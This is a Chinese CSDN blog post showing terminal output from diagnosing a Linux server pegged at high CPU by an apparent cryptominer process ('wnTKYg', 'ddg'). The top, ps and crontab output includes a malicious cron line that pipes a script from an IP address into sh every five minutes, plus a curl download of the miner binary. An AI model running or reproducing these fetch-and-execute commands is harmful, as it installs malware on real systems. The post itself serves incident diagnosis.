Linux CPU 长期90%以上问题排查

最新推荐文章于 2024-06-28 17:35:00 发布
最新推荐文章于 2024-06-28 17:35:00 发布
阅读量3.4k 收藏 1
点赞数
分类专栏： 主机与系统
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lnpso/article/details/78150756
版权 

  
  

   
   [root@ecs-37e8 ~]# top
  
  

  
  

   
   top - 13:44:56 up 17:02,  2 users,  load average: 17.02, 17.02, 17.05
Tasks: 339 total,   1 running, 338 sleeping,   0 stopped,   0 zombie
Cpu(s): 
   
   93.7%us,  0.0%sy,  0.0%ni,  6.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  65948524k total, 11533048k used, 54415476k free,   399280k buffers
Swap: 46137336k total,        0k used, 46137336k free,  6354296k cached
  
  

  
  

   
      PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                   
 
   
    2489 root      20   0 1272m  39m 1256 S 1498.8  0.1  15251:01 wnTKYg                                                                                                  
 22511 root      20   0 15164 1440  936 R  0.7  0.0   0:01.17 top                                                                                                       
     1 root      20   0 19364 1444 1128 S  0.0  0.0   0:01.08 init                                                                                                      
     2 root      20   0     0    0    0 S  0.0  0.0   0:00.01 kthreadd                                                                                                  
     3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 migration/0                                                                                               
     4 root      20   0     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0                                                                                               
     5 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/0                                                                                                 
     6 root      RT   0     0    0    0 S  0.0  0.0   0:00.05 watchdog/0    
  
  
[root@ecs-37e8 yundata]# top -H -p 2489

top - 13:44:03 up 17:01,  2 users,  load average: 17.05, 17.03, 17.05
Tasks:  18 total,  15 running,   3 sleeping,   0 stopped,   0 zombie
Cpu(s): 93.8%us,  0.0%sy,  0.0%ni,  6.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  65948524k total, 11532768k used, 54415756k free,   399248k buffers
Swap: 46137336k total,        0k used, 46137336k free,  6354296k cached

   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                   
  2493 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                   
  2497 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                   
  2501 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                   
  2504 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                   
  2505 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                   
  2492 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2494 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2495 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2496 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2498 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2499 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2500 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2502 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2503 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2506 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                    
  2489 root      20   0 1272m  39m 1256 S  0.0  0.1   0:00.00 wnTKYg                                                                                                    
  2490 root      20   0 1272m  39m 1256 S  0.0  0.1   0:18.88 wnTKYg                                                                                                    
  2491 root      20   0 1272m  39m 1256 S  0.0  0.1   0:00.11 wnTKYg            

[root@ecs-37e8 ~]# ps -ef | grep ddg
root       2404      1  0 Oct01 ?        00:01:00 /tmp/ddg.2011
root      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011
root      22982  22810  0 14:00 pts/3    00:00:00 grep ddg
[root@ecs-37e8 ~]# ps -ef | grep ddg
root       2404      1  0 Oct01 ?        00:01:00 /tmp/ddg.2011
root      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011
root      23018  22810  0 14:01 pts/3    00:00:00 grep ddg
You have new mail in /var/spool/mail/root
[root@ecs-37e8 ~]# ps -ef | grep 22969
root      22969  22967  0 14:00 ?        00:00:00 sh
root      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011
root      23023  22810  0 14:01 pts/3    00:00:00 grep 22969
[root@ecs-37e8 ~]# ps -ef | grep 22967
root      22967  22966  0 14:00 ?        00:00:00 /bin/sh -c curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
root      22969  22967  0 14:00 ?        00:00:00 sh
root      23025  22810  0 14:02 pts/3    00:00:00 grep 22967
[root@ecs-37e8 ~]# ps -ef | grep 22966
root      22966   2220  0 14:00 ?        00:00:00 CROND
root      22967  22966  0 14:00 ?        00:00:00 /bin/sh -c curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
root      23027  22810  0 14:02 pts/3    00:00:00 grep 22966
[root@ecs-37e8 ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
[root@ecs-37e8 ~]#


钩子水手
关注
专栏目录
linux cpu大于90%报警如何排查处理
weixin_43277591的博客
07-14 2183
第一步：使用top命令查看异常进程信息： top 命令 找到异常cpu高的PID 各个参数的意思： PID 进程id USER 进程所有者的用户名 PR 优先级 VIRT 进程使用的虚拟内存总量，单位kb。 RES=CODE+DATA SHR 共享内存大小，单位kb NI nice值。负值表示高优先级，正值表示低优先级 %CPU 上次更新到现在的CPU时间占用百分比 TIME+...
zabbix监控linux主机cpu使用率超过90%的时候报警
Devops学习旅途
06-01 1345
修改zabbix监控linux主机自带模板 开启监控项：system.cpu.util[,idle] 添加触发器 Name: cpu user percent gt 90% Expression: {Template OS Linux:system.cpu.util[,idle].avg(1m)}<10
【Linux】服务器被work32病毒入侵CPU占用99%
最新发布
风高秋月白，雨霁晚霞红
06-28 1559
work32病毒。
Linux中cpu使用率超高排查方式
Decadent丶沉沦の博客
04-19 322
top命令，找到cpu占用最高的进程。 top -p pid 查看该进程中的线程。 双击大写H或者ctrl + H 切换到线程模式，找到占用CPU较高的线程。并把线程号转化为十六进制，printf “%x\n” 线程ID。 jstack 进程id，把线程栈打印出来。找到对应的线程号tid可以分析为什么线程会占用那么高的cpu了。 ...
Linux系统内存占用90%以上——解决方法
web开发自学
12-12 373
首先要明确一个问题：Linux系统内存占用90%以上，是否属于正常范围？网上有详细的解释，这属于正常现象~~~ Linux/Unix系统管理内存的方式和windows是不一样的，即便是一个负载很小的linux，跑几天后，内存占用量也将达到90%以上，即便无人访问，这个数字是完全正常的。但是，这个内存占用量不会达到100%的，每天夜里系统都会执行/etc/cron.daily进行内存优...
服务器CPU使用率经常超90%会有哪些问题
恒创科技Henghost
05-11 1208
综上所述，虽然短期的高CPU使用率可能不会立即引起严重问题，但长期而言，为了保证服务器的稳定性和可靠性，应尽可能地避免CPU长时间高负载运行。：持续的高CPU使用率可能会引发系统不稳定，出现意外的错误或者异常状况，严重时可能导致系统重启。：服务器硬件如CPU、内存、硬盘等都有一定的寿命，长时间高负载运行会加速硬件老化，减少使用寿命。：高CPU使用率会导致服务器整体性能下降，应用程序响应时间变慢，用户可能会遇到延迟和卡顿。：服务器高负载运行会消耗更多的电力，从而增加运营成本。
linux cpu内存99,服务器内存占用长期99%
weixin_42503036的博客
04-30 1724
如果Linux系统的ECS实例CPU持续保持高使用率，则会对系统稳定性和业务运行造成影响。可以按如下步骤进行处理。定位问题。找到影响CPU使用率过高的具体进程。 分析处理。查看影响CPU使用率过高的进程是否正常，并分类进行处理。对于正常进程：您需要对程序进行优化或者升级服务器配置。 对于异常进程：您可以手动对进程进行查杀，也可以使用第三方安全工具去查杀。CPU负载的查询分析 在Linux系统中，查...
记一次tomcat进程cpu占用过高的问题排查记录
09-29
【文章内容概述】 这篇文章主要记录了一次排查Tomcat进程...通过以上步骤，可以逐步排查并解决Tomcat进程CPU占用过高的问题。在实际操作中，可能还需要考虑其他因素，如代码性能优化、线程池配置、服务器资源限制等。
教你找出 运行java项目,使cpu 100%,如何排查出是哪个jar包的哪个线程导致的
04-09
如果你对`jstack`不熟悉，可以参考CSDN博主的文章，如`jstack_justry_deng的博客-CSDN博客_jstack.url`和`【线上问题排查】CPU100%和内存100%排查_码农BookSea的博客-CSDN博客.url`，这些文章提供了更多关于如何解读...
Linux杀不死的进程之CPU使用率700%解决方法
09-14
总结来说，面对Linux系统中的高CPU使用率问题，需要耐心地进行故障排除，通过观察进程行为、分析线程、检查相关文件系统以及系统日志来找出根源。在无法立即确定原因时，重启可能是暂时的解决方法，但长期而言，了解...
centos cpu排查_linux CPU占用飙升的排查方法（一）
weixin_42551967的博客
12-23 1891
前言收到告警信息：”10.XXX.XXX.XXX机器CPU占用过高，请立即查看排查，确认无误后关闭告警！“， 那 linux CPU占用飙升要如何排查定位呢?自己简单规整了下，最基本的排查方式可以分为以下几步吧？确认是程序性能问题导致，还是系统硬件瓶颈？确认引发CPU飙升的进程，进程PID？确认引发飙升进程下哪个线程CPU占用率较高？jstack打印进程下全部的线程堆栈信息，查找CPU占用较高的线...
linux中yum进程占cpu百分之九十,Linux 进程一直占用单核CPU分析
weixin_40003451的博客
04-29 676
pidstat 1信息可以查看pid为12186的进程在占用着CPU 0，并且对CPU 0的使用率为100%，还是system消耗了 CPU 0 100%的cpumpstat -P ALL 1信息使用ps 命令查看该进程中线程的cpu消耗情况ps -mp 12186 -o THREAD,tid,timeUSER %CPU PRI SCNT WCHAN USER SYSTEM TID TIMEact...
Linux CPU占用率99%很高被kdevtmpfsi 和kinsing 挖矿病毒入侵
小蜜蜂
02-23 3636
目录 一:警告 二:查看cup占用 三:解决问题 1.首先停掉kdevtmpfsi的程序 2.删除Linux下的异常定时任务 3.结束kdevtmpfsi进程及端口占用 4:删除掉kdevtmpfsi的相关文件 四.怎么预防处理这个病毒 一:警告 先上阿里云上的报警信息。有个最大的问题是：top命令查看自己服务器CPU运行情况，会发现kdevtmpfsi的进程，CPU使用率为...
处理cpu %wa过大，导致服务器不能访问的问题。
chongzou4315的博客
06-11 1764
今天发现自己的云服务器网站无法访问，查看之后发现，cpu 内存使用正常，监听端口也是正常的，用top命令发现： wa指CPU等待磁盘写入完成的时间。表示磁盘繁忙，这样一来web服务器自然就无法接收新的用户请求（因为linux处理每个进程都需要打开相应的文件句柄。） 用iostat...
Linux CPU 占用率 100% 排查五步法
蔡定努
06-28 9949
Linux 服务器 CPU 占用率达到 100% 且一直居高不下，严重影响业务系统的正常使用，这时候领导让你来排查问题原因，如果不知道该如何下手，就有点尴尬了。当然，除了使用上面的基础方法外，还有很多工具可以直接使用，例如阿里的 Arthas。
linux的CPU使用率达到100%的快速定位方式
rendongxingzhe的博客
12-30 2899
linux的CPU使用率达到100%的快速定位方式
Linux 内存使用率超过90%，问题排查和清理
热门推荐
u011236069的博客
02-14 2万+
摘要 问题发生在周末，正在家休息突然接收到告警信息提示linux内存使用率超过90%，刚接收到信息以为是程序发生了内存泄漏。登录Linux通过top命令发现系统占用内存正常。各进程内存使用率都很低 使用命令：free -h 查看内存使用情况 命令：free -h 下图为已经清理后的可以看到used使用了1.8GB，当时告警used为6.3GB而且还在持续增长中 使用：通过释放 文件缓存,手动释放缓存的方法 命令：echo 3> /proc/sys/vm/drop_cache...
zabbix3.0监控centos当主机cpu使用率超过90%的时候报警
reblue520的专栏
03-15 1196
在windows系统中监控cpu利用率非常容易，自带模板就有这样的功能，但是在linux里面没有默认的模板 只有cpu的负载，默认当cpu的负载在一定时间内5以上报警 cpu utilization中有一个cpu idle时间，即cpu的空闲时间，当空闲时间小于10%的时候就是cpu大于90%的时候 老实说这个问题困扰了我很久，网上没有现成的答案 在linu...
Linux 打印出进程占用cpu使用率最高的线程
sz76211822的专栏
12-18 795
第一步： ps -eLo pid,lwp,pcpu | grep 进程ID 查找出占用cpu使用率最高的线程。lwp对应线程ID 第二步：gdb attach 进程ID 第三步：thread apply all bt，打印出所有线程ID
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

钩子水手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值